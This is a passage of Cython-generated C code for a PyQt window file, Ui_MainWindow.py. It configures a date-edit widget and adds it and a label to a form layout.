self.RR_date.setMaximumDateTime(QtCore.QDateTime(QtCore.QDate(7918, 1, 1), QtCore.QTime(23, 59, 59))) # <<<<<<<<<<<<<< * self.RR_date.setMaximumDate(QtCore.QDate(7918, 1, 1)) * self.RR_date.setCalendarPopup(False) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_date); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 509, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setMaximumDateTime); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 509, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 509, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QDateTime); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 509, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 509, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QDate); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 509, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__319, NULL); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 509, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 509, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QTime); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 509, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__320, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 509, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_6))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[3] = {__pyx_t_2, __pyx_t_9, __pyx_t_4}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 509, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[3] = {__pyx_t_2, __pyx_t_9, __pyx_t_4}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 509, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_5 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 509, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); if (__pyx_t_2) { __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_2); __pyx_t_2 = NULL; } __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_5, 0+__pyx_t_8, __pyx_t_9); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 1+__pyx_t_8, __pyx_t_4); __pyx_t_9 = 0; __pyx_t_4 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_5, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 509, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_6) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 509, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_3}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 509, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_3}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 509, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 509, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_5, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 509, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":510 * self.RR_date.setKeyboardTracking(False) * self.RR_date.setMaximumDateTime(QtCore.QDateTime(QtCore.QDate(7918, 1, 1), QtCore.QTime(23, 59, 59))) * self.RR_date.setMaximumDate(QtCore.QDate(7918, 1, 1)) # <<<<<<<<<<<<<< * self.RR_date.setCalendarPopup(False) * self.RR_date.setObjectName("RR_date") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_date); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 510, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setMaximumDate); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 510, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 510, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QDate); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 510, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__321, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 510, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_3) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 510, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_1}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 510, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_1}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 510, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 510, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_6, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 510, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":511 * self.RR_date.setMaximumDateTime(QtCore.QDateTime(QtCore.QDate(7918, 1, 1), QtCore.QTime(23, 59, 59))) * self.RR_date.setMaximumDate(QtCore.QDate(7918, 1, 1)) * self.RR_date.setCalendarPopup(False) # <<<<<<<<<<<<<< * self.RR_date.setObjectName("RR_date") * self.formLayout_3.setWidget(11, QtWidgets.QFormLayout.FieldRole, self.RR_date) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_date); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 511, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setCalendarPopup); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 511, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_tuple__322, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 511, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":512 * self.RR_date.setMaximumDate(QtCore.QDate(7918, 1, 1)) * self.RR_date.setCalendarPopup(False) * self.RR_date.setObjectName("RR_date") # <<<<<<<<<<<<<< * self.formLayout_3.setWidget(11, QtWidgets.QFormLayout.FieldRole, self.RR_date) * self.label_45 = QtWidgets.QLabel(self.formLayoutWidget_3) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_date); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 512, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 512, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_tuple__323, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 512, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":513 * self.RR_date.setCalendarPopup(False) * self.RR_date.setObjectName("RR_date") * self.formLayout_3.setWidget(11, QtWidgets.QFormLayout.FieldRole, self.RR_date) # <<<<<<<<<<<<<< * self.label_45 = QtWidgets.QLabel(self.formLayoutWidget_3) * self.label_45.setObjectName("label_45") */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 513, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_setWidget); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 513, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 513, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 513, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_FieldRole); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 513, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_date); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 513, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[4] = {__pyx_t_3, __pyx_int_11, __pyx_t_5, __pyx_t_1}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 513, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[4] = {__pyx_t_3, __pyx_int_11, __pyx_t_5, __pyx_t_1}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 513, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_4 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 513, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (__pyx_t_3) { __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_3); __pyx_t_3 = NULL; } __Pyx_INCREF(__pyx_int_11); __Pyx_GIVEREF(__pyx_int_11); PyTuple_SET_ITEM(__pyx_t_4, 0+__pyx_t_8, __pyx_int_11); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_4, 1+__pyx_t_8, __pyx_t_5); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 2+__pyx_t_8, __pyx_t_1); __pyx_t_5 = 0; __pyx_t_1 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_4, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 513, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":514 * self.RR_date.setObjectName("RR_date") * self.formLayout_3.setWidget(11, QtWidgets.QFormLayout.FieldRole, self.RR_date) * self.label_45 = QtWidgets.QLabel(self.formLayoutWidget_3) # <<<<<<<<<<<<<< * self.label_45.setObjectName("label_45") * self.formLayout_3.setWidget(18, QtWidgets.QFormLayout.LabelRole, self.label_45) */ __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 514, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QLabel); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 514, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 514, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_1) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_6); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 514, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_6}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 514, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_6}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 514, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 514, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_5, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 514, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_label_45, __pyx_t_7) < 0) __PYX_ERR(0, 514, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":515 * self.formLayout_3.setWidget(11, QtWidgets.QFormLayout.FieldRole, self.RR_date) * self.label_45 = QtWidgets.QLabel(self.formLayoutWidget_3) * self.label_45.setObjectName("label_45") # <<<<<<<<<<<<<< * self.formLayout_3.setWidget(18, QtWidgets.QFormLayout.LabelRole, self.label_45) * self.RR_number = QtWidgets.QLineEdit(self.formLayoutWidget_3) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_45); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 515, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 515, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__324, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 515, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":516 * self.label_45 = QtWidgets.QLabel(self.formLayoutWidget_3) * self.label_45.setObjectName("label_45") * self.formLayout_3.setWidget(18, QtWidgets.QFormLayout.LabelRole, self.label_45) # <<<<<<<<<<<<<< * self.RR_number = QtWidgets.QLineEdit(self.formLayoutWidget_3) * self.RR_number.setMouseTracking(False) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 516, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setWidget); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 516, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 516, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 516, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_LabelRole); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 516, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_45); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 516, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[4] = {__pyx_t_1, __pyx_int_18, __pyx_t_4, __pyx_t_6}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 516, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[4] = {__pyx_t_1, __pyx_int_18, __pyx_t_4, __pyx_t_6}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 516, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_3 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 516, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); if (__pyx_t_1) { __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_1); __pyx_t_1 = NULL; } __Pyx_INCREF(__pyx_int_18); __Pyx_GIVEREF(__pyx_int_18); PyTuple_SET_ITEM(__pyx_t_3, 0+__pyx_t_8, __pyx_int_18); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 1+__pyx_t_8, __pyx_t_4); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_3, 2+__pyx_t_8, __pyx_t_6); __pyx_t_4 = 0; __pyx_t_6 = 0; 